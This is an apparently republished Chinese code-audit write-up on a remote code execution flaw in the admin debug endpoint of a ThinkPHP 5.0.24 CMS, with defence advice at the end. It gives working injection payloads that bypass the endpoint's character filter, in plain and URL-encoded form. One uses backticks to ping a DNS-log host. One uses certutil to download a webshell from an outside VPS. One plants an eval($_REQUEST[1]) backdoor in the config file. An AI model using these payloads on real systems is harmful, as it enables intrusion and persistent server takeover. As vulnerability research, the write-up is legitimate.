某cms代码审计RCE&艰难bypass(思路清奇)
字数 1081 2025-08-05 00:15:08

某CMS代码审计:RCE漏洞发现与绕过技巧分析

0x01 漏洞概述

本文分析了一个基于ThinkPHP 5.0.24框架的CMS系统中的远程代码执行(RCE)漏洞。该漏洞位于后台API的debug功能中,通过精心构造的输入可以绕过过滤机制,最终实现命令执行和getshell。

0x02 环境准备

  • 测试环境:PHPStudy一键搭建
  • 审计工具
    • Notepad++(代码查看)
    • Seay源代码审计工具(初步扫描)
    • PHPStorm(推荐用于完整审计流程)

0x03 漏洞定位

漏洞文件路径

/app/admin/controller/api.php中的debug函数

关键漏洞代码

public function debug()
{
    $path = 'app/extra/debug.php';
    $file = include $path; 
    $config = array(
     'name' => input('id'),
    );
    $config = preg_replace("/[?><?]/", '', $config);
    $res = array_merge($file, $config);
    $str = '<?php return [';
    foreach ($res as $key => $value) {
        $str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
    }
    $str .= ']; ';
    if (file_put_contents($path, $str)) {
        return json(array('code' => 1, 'msg' => '操作成功'));
    } else {
        return json(array('code' => 0, 'msg' => '操作失败'));
    }
}

漏洞触发点

  • 用户通过id参数控制输入
  • 输入被处理后写入app/extra/debug.php文件
  • 文件内容会被include执行

0x04 漏洞分析

过滤机制

$config = preg_replace("/[?><?]/", '', $config);

过滤了<>?>字符(实际是?><?的重复匹配)

文件写入逻辑

  1. 读取现有debug.php文件内容
  2. 合并用户输入的配置
  3. 生成新的PHP数组定义字符串
  4. 写入文件

0x05 绕过技巧

第一次尝试:直接闭合执行

Payload:

123'];phpinfo();//

结果

  • 成功写入文件:<?php return ['name'=>'123'];phpinfo();//',];
  • return后的代码不会执行

第二次尝试:在数组中执行代码

Payload:

123',eval($_REQUEST[1]);''

结果

  • 语法错误,无法执行

第三次尝试:命令执行

Payload

123'].`ping 123.yh6nta.dnslog.cn`;//

结果

  • DNS查询成功,证明命令执行
  • 但页面报错(类型不匹配)

优化方案:使用&连接

Payload

123']&`ping 123.yh6nta.dnslog.cn`;//

URL编码

123%27%5D%26%60ping%20123.yh6nta.dnslog.cn%60%3B%2F%2F

结果

  • 无报错且命令成功执行

0x06 深入利用

Windows系统getshell方法

  1. 准备包含一句话木马的shell文件
  2. 使用certutil下载文件:

Payload

']&`certutil -urlcache -split -f http://vps/shell 1.php`;//

URL编码

%27%5D%26%60certutil%20-urlcache%20-split%20-f%20http%3A%2F%2Fvps%2Fshell%201.php%60%3B%2F%2F

直接代码执行

Payload

123']&&eval($_REQUEST[1]);//

URL编码

123%27%5D%26%26eval(%24_REQUEST%5B1%5D)%3B%2F%2F

结果文件

<?php return ['name'=>'123']&&eval($_REQUEST[1]);//',];

效果

  • 成功执行任意PHP代码

0x07 防御建议

  1. 严格过滤用户输入,特别是特殊字符
  2. 避免将用户输入直接拼接到PHP代码中
  3. 对文件写入操作进行权限控制
  4. 使用白名单验证输入内容
  5. 升级ThinkPHP框架到最新安全版本

0x08 总结

本案例展示了:

  1. 如何通过代码审计发现RCE漏洞
  2. 绕过简单过滤的技巧
  3. 无回显情况下的利用方法
  4. Windows/Linux系统下的getshell方式

关键点在于理解PHP语法特性和灵活运用命令拼接技巧,这对代码审计和安全研究有重要参考价值。

某CMS代码审计:RCE漏洞发现与绕过技巧分析 0x01 漏洞概述 本文分析了一个基于ThinkPHP 5.0.24框架的CMS系统中的远程代码执行(RCE)漏洞。该漏洞位于后台API的debug功能中,通过精心构造的输入可以绕过过滤机制,最终实现命令执行和getshell。 0x02 环境准备 测试环境 :PHPStudy一键搭建 审计工具 : Notepad++(代码查看) Seay源代码审计工具(初步扫描) PHPStorm(推荐用于完整审计流程) 0x03 漏洞定位 漏洞文件路径 /app/admin/controller/api.php 中的 debug 函数 关键漏洞代码 漏洞触发点 用户通过 id 参数控制输入 输入被处理后写入 app/extra/debug.php 文件 文件内容会被include执行 0x04 漏洞分析 过滤机制 过滤了 < 、 > 、 ? 和 > 字符(实际是 ? 、 > 、 < 、 ? 的重复匹配) 文件写入逻辑 读取现有debug.php文件内容 合并用户输入的配置 生成新的PHP数组定义字符串 写入文件 0x05 绕过技巧 第一次尝试:直接闭合执行 Payload : 结果 : 成功写入文件: <?php return ['name'=>'123'];phpinfo();//',]; 但 return 后的代码不会执行 第二次尝试:在数组中执行代码 Payload : 结果 : 语法错误,无法执行 第三次尝试:命令执行 Payload : 结果 : DNS查询成功,证明命令执行 但页面报错(类型不匹配) 优化方案:使用&连接 Payload : URL编码 : 结果 : 无报错且命令成功执行 0x06 深入利用 Windows系统getshell方法 准备包含一句话木马的shell文件 使用certutil下载文件: Payload : URL编码 : 直接代码执行 Payload : URL编码 : 结果文件 : 效果 : 成功执行任意PHP代码 0x07 防御建议 严格过滤用户输入,特别是特殊字符 避免将用户输入直接拼接到PHP代码中 对文件写入操作进行权限控制 使用白名单验证输入内容 升级ThinkPHP框架到最新安全版本 0x08 总结 本案例展示了: 如何通过代码审计发现RCE漏洞 绕过简单过滤的技巧 无回显情况下的利用方法 Windows/Linux系统下的getshell方式 关键点在于理解PHP语法特性和灵活运用命令拼接技巧,这对代码审计和安全研究有重要参考价值。